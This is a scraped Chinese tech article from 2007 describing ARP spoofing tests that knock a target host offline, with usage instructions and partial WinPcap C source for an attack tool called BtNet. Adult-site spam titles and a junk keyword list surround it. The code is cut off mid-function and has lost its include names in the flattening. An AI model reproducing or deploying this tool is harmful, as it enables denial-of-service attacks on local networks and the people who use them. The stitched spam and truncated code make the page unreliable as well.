成人在线你懂的-成人在线免费小视频-成人在线免费网站-成人在线免费视频观看-日韩精品国产一区二区-日韩精品国产一区

掃一掃
關(guān)注微信公眾號

基于ARP欺騙的網(wǎng)絡(luò)攻擊程序源碼
2007-10-11   51CTO.com

最近開始學(xué)WINPCAP,看了很多高手寫的基于arp欺騙的抓包工具,尤其是電子科大的TOo2y師兄的《詳談?wù){(diào)用winpcap驅(qū)動寫arp多功能工具》,令我收益非淺。下面是我把這個思想改成arp攻擊程序(可令目標(biāo)主機斷開網(wǎng)絡(luò)連接)的一些測試。高手請略過,以免有班門弄斧之閑。

一般的arp spoof是向被欺騙主機發(fā)送ARP REPLY數(shù)據(jù)報,把其中的源IP地址置為被欺騙主機要發(fā)包去的主機地址,源MAC地址卻改為自己的MAC地址。假設(shè)有兩臺機器A,B,發(fā)送一個ARP REPLY數(shù)據(jù)報給A,其中源IP地址為B的地址,源MAC地址為我的機器的MAC地址(IPRouter功能打開確保數(shù)據(jù)被轉(zhuǎn)發(fā)),那么A發(fā)送到B的數(shù)據(jù)報就發(fā)到我的機器上了,同樣對B做相同到操作,那么A<==>B之間的數(shù)據(jù)就會源源不斷的通過我的機器轉(zhuǎn)發(fā),直到一個正常的ARP包更改了A,B的arp緩存為止。

那么我們把發(fā)送給A的arp數(shù)據(jù)報的源IP,源MAC更改成任意的,會出現(xiàn)什么現(xiàn)象?下面是我的幾個測試

1. 源IP更改為網(wǎng)關(guān)IP,源MAC改為不存在的MAC地址

對目標(biāo)主機幾乎不影響

2. 源IP更改為網(wǎng)關(guān)IP,源MAC改為內(nèi)網(wǎng)內(nèi)任意一臺存在但沒有開啟IPRouter的主機的MAC地址

幾乎不影響

3. 源IP更改為網(wǎng)關(guān)IP,源MAC改為目標(biāo)主機的MAC

目標(biāo)主機立刻斷網(wǎng)!

可見當(dāng)發(fā)送經(jīng)過我們構(gòu)造的ARP REALY包給目標(biāo)主機時,會使目標(biāo)主機的ARP緩存更改,數(shù)據(jù)封裝到MAC層的時候會把網(wǎng)關(guān)的IP和自己的MAC地址封裝到一起,那么發(fā)送到網(wǎng)關(guān)的數(shù)據(jù)報只好發(fā)給自己了,呵呵。

至于第1種情況,猜想大概是由于MAC地址不存在,目標(biāo)主機會廣播一個ARP REQUEST包而更新了自己的ARP緩存所致。

至于第2種情況,猜想源MAC地址所屬主機會返回一個ARP REPLY給目標(biāo)主機。

水平有限,所以只是猜想,知道的請告訴我一聲,先謝過了。

再說一下,以上測試只對于windows系統(tǒng),當(dāng)然也測試過對沒有配置好的Red Hat成功過。

測試程序(BtNet.exe)說明:
Usage: BtNet -h attackIP -o gateIP [-m spoofedMAC]
-m參數(shù)是你要修改的源MAC地址.

為了隱蔽攻擊者身份,程序再得到目標(biāo)主機MAC地址時偽裝成IP:128.128.128.128,MAC:a5-a5-a5-a5-a5-a5,可能會得不到目標(biāo)主機的MAC地址,那么要得到MAC地址請借助第三方工具。

附測試程序代碼

#include "packet32.h" 
#include "ntddndis.h" 
#include 
#include 
#include 
#include 
 
#pragma comment(lib,"ws2_32") 
#pragma comment(lib,"packet") 
 
#define ETH_IP 0x0800 
#define ETH_ARP 0x0806 
#define ARP_REQUEST 0x0001 //arp請求包 
#define ARP_REPLY 0x0002 //arp應(yīng)答包 
#define ARP_HARDWARE 0x0001 
#define max_num_adapter 10 
 
#pragma pack(push,1) 
 
typedef struct ethdr 
{ 
unsigned char eh_dst[6]; //以太網(wǎng)目的地址 
unsigned char eh_src[6]; //以太網(wǎng)源地址 
unsigned short eh_type; // 
}ETHDR,*PETHDR; 
typedef struct arphdr //arp頭 
{ 
unsigned short arp_hdr; //硬件類型 
unsigned short arp_pro; //協(xié)議類型 
unsigned char arp_hln; //硬件地址長度 
unsigned char arp_pln; //協(xié)議地址長度 
unsigned short arp_opt; // 
unsigned char arp_sha[6]; //發(fā)送端以太網(wǎng)地址 
unsigned long arp_spa; //發(fā)送端ip地址 
unsigned char arp_tha[6]; //接收端以太網(wǎng)地址 
unsigned long arp_tpa; //接收端ip地址 
}ARPHDR,*PARPHDR; 
 
typedef struct ip_mac 
{ 
u_long ip; 
unsigned char mac[6]; 
}IP_MAC,*PIP_MAC; 
 
#pragma pack(push) 
 
LPADAPTER lpAdapter; 
char adapterlist[max_num_adapter][1024]; 
IP_MAC toipandmac; 
IP_MAC oipandmac,myipandmac; 
BOOL param6=FALSE; 
char *noMACstr; 
char noMAC[6][3]; 
u_long mytoIP,oIP; 
BOOL sendtoOip; 
MSG msg; 
UINT newtimer; 
char MYIP[20]="128.128.128.128"; 
BOOL toipandmac_flag=FALSE,myipandmac_flag=FALSE,oipandmac_flag=FALSE; 
 
int getint(char c) 
{ 
int t=-1; 
if((c<='9')&&(c>='0')) 
t=c-'0'; 
else if((c>='a')&&(c<='f')) 
t=10+c-'a'; 
else if((c>='A')&&(c<='F')) 
t=10+c-'A'; 
return t; 
} 
 
void start() 
{ 
printf("BtNet //--an ARP Tool test the Windows Break the Internetn"); 
printf("written by Ruder,10/2003n"); 
printf("Homepage: http://xEyes.cdut.net/ruder/index.htm;n"); 
printf("E-mail: cocoruder@163.comn"); 
printf("nUsage: BtNet -h attackIP -o gateIP [-m spoofedMAC]n"); 
printf("Example:n"); 
printf("BtNet -h 202.115.138.12 -o 202.115.138.1n"); 
printf("BtNet -h 202.115.138.12 -o 202.115.138.1 -m 00-50-fc-6a--6b--7cn"); 
printf(" Warning: You must have installed the winpcap_2.3 or
winpcap_3.0_alphan"); return ; } DWORD WINAPI sniff(LPVOID) { LPPACKET lppackets,lpPacketr; char recvbuf[1024*250]; ULONG ulbytesreceived,off; ETHDR *eth; ARPHDR *arp; char *buf,*pChar,*base; char szTemp[20]; struct bpf_hdr *hdr; if((lppackets=PacketAllocatePacket())==FALSE) { printf("PacketAllocatePacket send Error: %dn",GetLastError()); return 0; } if(PacketSetHwFilter(lpAdapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE) { printf("Warning: Unable to set the adapter to promiscuous moden"); } if(PacketSetBuff(lpAdapter,500*1024)==FALSE) { printf("PacketSetBuff Error: %dn",GetLastError()); return 0; } if(PacketSetReadTimeout(lpAdapter,1)==FALSE) { printf("Warning: Unable to set the timeoutn"); } if((lpPacketr=PacketAllocatePacket())==FALSE) { printf("PacketAllocatePacket receive Error: %dn",GetLastError()); return 0; } PacketInitPacket(lpPacketr,(char *)recvbuf,sizeof(recvbuf)); while(!kbhit()) { if(PacketReceivePacket(lpAdapter,lpPacketr,TRUE)==FALSE) { return 0; } //getdata(lppacketr,option); ulbytesreceived=lpPacketr->ulBytesReceived; buf=(char *)lpPacketr->Buffer; off=0; while(off{ if(kbhit()) { return 0; } hdr=(struct bpf_hdr *)(buf+off); off+=hdr->bh_hdrlen; pChar=(char *)(buf+off); base=pChar; off=Packet_WORDALIGN(off+hdr->bh_caplen); eth=(PETHDR)pChar; //以太頭 arp=(PARPHDR)(pChar+sizeof(ETHDR)); //arp頭 int i; if((eth->eh_type==htons(ETH_ARP))&& (arp->arp_opt==htons(ARP_REPLY))) { //if (arp->arp_tpa==htonl(ntohl(inet_addr(MYIP)))) { if(oipandmac_flag&&myipandmac_flag&&toipandmac_flag) return 0; if (((toipandmac.ip==htonl(arp->arp_spa))&&(toipandmac_flag==FALSE)) ||((myipandmac.ip==htonl(arp->arp_spa))&&(myipandmac_flag==FALSE)) ||((oipandmac.ip==htonl(arp->arp_spa))&&(oipandmac_flag==FALSE))) { memset(szTemp,0,sizeof(szTemp)); memcpy(szTemp,&arp->arp_spa,sizeof(arp->arp_spa)); printf("[IP]:"); printf("%s",inet_ntoa(*((struct in_addr *)szTemp))); pr

熱詞搜索:

上一篇:巨頭爭寵統(tǒng)一通信
下一篇:修復(fù)注冊表,重連服務(wù)器

分享到: 收藏
主站蜘蛛池模板: 肉丸3| 侦探们的镇魂歌国语版在线观看| 欧美艳星av名字大全| 永远的经典影片永远的| 蜡笔小新日语| 雌雄同体seoⅹ另类| 色女在线| 细菌大战2| 性欧洲| 太上老君说五斗金章受生经| 艺术影院| 夫妻之间的理性| 黛博拉·安沃尔| 许华升公个人资料身高多少| 金燕子| 复仇女王| 琴谱初学者| 叶玲| 打开双腿扒开打屁股羞辱惩罚视频| 鬼整人| 一类生字和二类生字图| 吉泽明步 番号| 感恩节电影恐怖片| 豪勇七蛟龙 电影| 角膜塑形镜的价格| 腰带之下| 二年级合并综合算式题| 张柏芝演的电视剧| 明天属于我们双男主法剧在线观看| 太原教育电视台| 申河均| 树屋上的童真| 樊霖锋| 陈昱| 王盼盼| 欧布奥特曼年代记| 性视频动态图| xiuren秀人网最新地址| 山楂树之恋电影剧情简介| 电影白洁少妇完整版| 叶子楣喜剧电影全集|